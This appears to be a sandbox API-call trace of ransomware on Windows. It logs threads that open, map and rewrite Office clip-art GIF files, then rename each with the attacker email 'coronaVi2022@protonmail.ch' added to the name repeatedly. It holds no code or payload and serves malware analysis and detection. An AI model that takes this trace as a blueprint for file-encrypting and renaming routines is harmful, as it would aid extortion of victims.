	[0093.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00161_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaf4
	[0093.984] GetFileSizeEx (in: hFile=0xaf4, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=7617) returned 1
	[0093.984] CreateFileMappingA (hFile=0xaf4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1dc1, lpName=0x0) returned 0xaf8
	[0093.984] MapViewOfFile (hFileMappingObject=0xaf8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0093.988] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0093.988] CloseHandle (hObject=0xaf8) returned 1
	[0093.988] GetCurrentThreadId () returned 0x18a8
	[0093.988] FlushFileBuffers (hFile=0xaf4) returned 1
	[0093.990] CloseHandle (hObject=0xaf4) returned 1
	[0093.990] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif") returned 213
	[0093.990] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00161_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00161_.gif")) returned 1
	[0093.991] free (_Block=0x51f3088) 
	[0093.991] RtlExitUserThread (Status=0x0) 

Thread:
	id = 528
	os_tid = 0x18ac

	[0093.993] _alloca_probe () returned 0x40328a
	[0093.993] GetCurrentThreadId () returned 0x18ac
	[0093.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", dwFileAttributes=0x80) returned 1
	[0093.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00163_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaf8
	[0093.995] GetFileSizeEx (in: hFile=0xaf8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7025) returned 1
	[0093.995] CreateFileMappingA (hFile=0xaf8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b71, lpName=0x0) returned 0xaec
	[0093.995] MapViewOfFile (hFileMappingObject=0xaec, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.996] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.997] CloseHandle (hObject=0xaec) returned 1
	[0093.997] GetCurrentThreadId () returned 0x18ac
	[0093.997] FlushFileBuffers (hFile=0xaf8) returned 1
	[0093.999] CloseHandle (hObject=0xaf8) returned 1
	[0093.999] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif") returned 213
	[0093.999] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00163_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00163_.gif")) returned 1
	[0094.000] free (_Block=0x51f5098) 
	[0094.000] RtlExitUserThread (Status=0x0) 

Thread:
	id = 529
	os_tid = 0x18b0

	[0094.001] _alloca_probe () returned 0x40328a
	[0094.002] GetCurrentThreadId () returned 0x18b0
	[0094.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", dwFileAttributes=0x80) returned 1
	[0094.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00164_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaec
	[0094.002] GetFileSizeEx (in: hFile=0xaec, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=13281) returned 1
	[0094.002] CreateFileMappingA (hFile=0xaec, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33e1, lpName=0x0) returned 0xafc
	[0094.002] MapViewOfFile (hFileMappingObject=0xafc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.005] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.005] CloseHandle (hObject=0xafc) returned 1
	[0094.005] GetCurrentThreadId () returned 0x18b0
	[0094.005] FlushFileBuffers (hFile=0xaec) returned 1
	[0094.007] CloseHandle (hObject=0xaec) returned 1
	[0094.007] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif") returned 213
	[0094.007] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00164_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00164_.gif")) returned 1
	[0094.008] free (_Block=0x51f0070) 
	[0094.008] RtlExitUserThread (Status=0x0) 

Thread:
	id = 530
	os_tid = 0x18b4

	[0094.010] _alloca_probe () returned 0x40328a
	[0094.010] GetCurrentThreadId () returned 0x18b4
	[0094.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", dwFileAttributes=0x80) returned 1
	[0094.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00165_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xafc
	[0094.011] GetFileSizeEx (in: hFile=0xafc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8609) returned 1
	[0094.011] CreateFileMappingA (hFile=0xafc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21a1, lpName=0x0) returned 0xb00
	[0094.011] MapViewOfFile (hFileMappingObject=0xb00, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.013] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.013] CloseHandle (hObject=0xb00) returned 1
	[0094.013] GetCurrentThreadId () returned 0x18b4
	[0094.013] FlushFileBuffers (hFile=0xafc) returned 1
	[0094.015] CloseHandle (hObject=0xafc) returned 1
	[0094.015] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif") returned 213
	[0094.015] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00165_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00165_.gif")) returned 1
	[0094.016] free (_Block=0x51f80b0) 
	[0094.016] RtlExitUserThread (Status=0x0) 

Thread:
	id = 531
	os_tid = 0x18b8

	[0094.017] _alloca_probe () returned 0x40328a
	[0094.018] GetCurrentThreadId () returned 0x18b8
	[0094.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", dwFileAttributes=0x80) returned 1
	[0094.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00167_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb00
	[0094.018] GetFileSizeEx (in: hFile=0xb00, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4929) returned 1
	[0094.018] CreateFileMappingA (hFile=0xb00, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1341, lpName=0x0) returned 0xb04
	[0094.018] MapViewOfFile (hFileMappingObject=0xb04, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.020] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.020] CloseHandle (hObject=0xb04) returned 1
	[0094.020] GetCurrentThreadId () returned 0x18b8
	[0094.020] FlushFileBuffers (hFile=0xb00) returned 1
	[0094.022] CloseHandle (hObject=0xb00) returned 1
	[0094.022] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif") returned 213
	[0094.022] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00167_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00167_.gif")) returned 1
	[0094.023] free (_Block=0x51f0070) 
	[0094.023] RtlExitUserThread (Status=0x0) 

Thread:
	id = 532
	os_tid = 0x18bc

	[0094.025] _alloca_probe () returned 0x40328a
	[0094.025] GetCurrentThreadId () returned 0x18bc
	[0094.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", dwFileAttributes=0x80) returned 1
	[0094.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00169_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb04
	[0094.025] GetFileSizeEx (in: hFile=0xb04, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5409) returned 1
	[0094.026] CreateFileMappingA (hFile=0xb04, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1521, lpName=0x0) returned 0xb08
	[0094.026] MapViewOfFile (hFileMappingObject=0xb08, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.030] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.030] CloseHandle (hObject=0xb08) returned 1
	[0094.030] GetCurrentThreadId () returned 0x18bc
	[0094.030] FlushFileBuffers (hFile=0xb04) returned 1
	[0094.038] CloseHandle (hObject=0xb04) returned 1
	[0094.038] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif") returned 213
	[0094.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00169_.gif")) returned 1
	[0094.041] free (_Block=0x51f5098) 
	[0094.041] RtlExitUserThread (Status=0x0) 

Thread:
	id = 533
	os_tid = 0x18c0

	[0094.036] _alloca_probe () returned 0x40328a
	[0094.037] GetCurrentThreadId () returned 0x18c0
	[0094.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", dwFileAttributes=0x80) returned 1
	[0094.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00170_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0c
	[0094.037] GetFileSizeEx (in: hFile=0xb0c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=9248) returned 1
	[0094.037] CreateFileMappingA (hFile=0xb0c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2420, lpName=0x0) returned 0xb10
	[0094.037] MapViewOfFile (hFileMappingObject=0xb10, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0094.043] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0094.043] CloseHandle (hObject=0xb10) returned 1
	[0094.043] GetCurrentThreadId () returned 0x18c0
	[0094.043] FlushFileBuffers (hFile=0xb0c) returned 1
	[0094.045] CloseHandle (hObject=0xb0c) returned 1
	[0094.045] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif") returned 213
	[0094.045] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00170_.gif")) returned 1
	[0094.046] free (_Block=0x51f60a0) 
	[0094.046] RtlExitUserThread (Status=0x0) 

Thread:
	id = 534
	os_tid = 0x18c4

	[0094.049] _alloca_probe () returned 0x40328a
	[0094.050] GetCurrentThreadId () returned 0x18c4
	[0094.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", dwFileAttributes=0x80) returned 1
	[0094.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00171_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb10
	[0094.050] GetFileSizeEx (in: hFile=0xb10, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5057) returned 1
	[0094.050] CreateFileMappingA (hFile=0xb10, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c1, lpName=0x0) returned 0xb04
	[0094.050] MapViewOfFile (hFileMappingObject=0xb04, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.052] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.052] CloseHandle (hObject=0xb04) returned 1
	[0094.052] GetCurrentThreadId () returned 0x18c4
	[0094.052] FlushFileBuffers (hFile=0xb10) returned 1
	[0094.054] CloseHandle (hObject=0xb10) returned 1
	[0094.054] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif") returned 213
	[0094.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00171_.gif")) returned 1
	[0094.055] free (_Block=0x51f0070) 
	[0094.055] RtlExitUserThread (Status=0x0) 

Thread:
	id = 535
	os_tid = 0x18c8

	[0094.057] _alloca_probe () returned 0x40328a
	[0094.057] GetCurrentThreadId () returned 0x18c8
	[0094.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", dwFileAttributes=0x80) returned 1
	[0094.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00172_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb04
	[0094.058] GetFileSizeEx (in: hFile=0xb04, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4417) returned 1
	[0094.058] CreateFileMappingA (hFile=0xb04, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1141, lpName=0x0) returned 0xb14
	[0094.058] MapViewOfFile (hFileMappingObject=0xb14, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.059] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.059] CloseHandle (hObject=0xb14) returned 1
	[0094.059] GetCurrentThreadId () returned 0x18c8
	[0094.059] FlushFileBuffers (hFile=0xb04) returned 1
	[0094.061] CloseHandle (hObject=0xb04) returned 1
	[0094.062] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif") returned 213
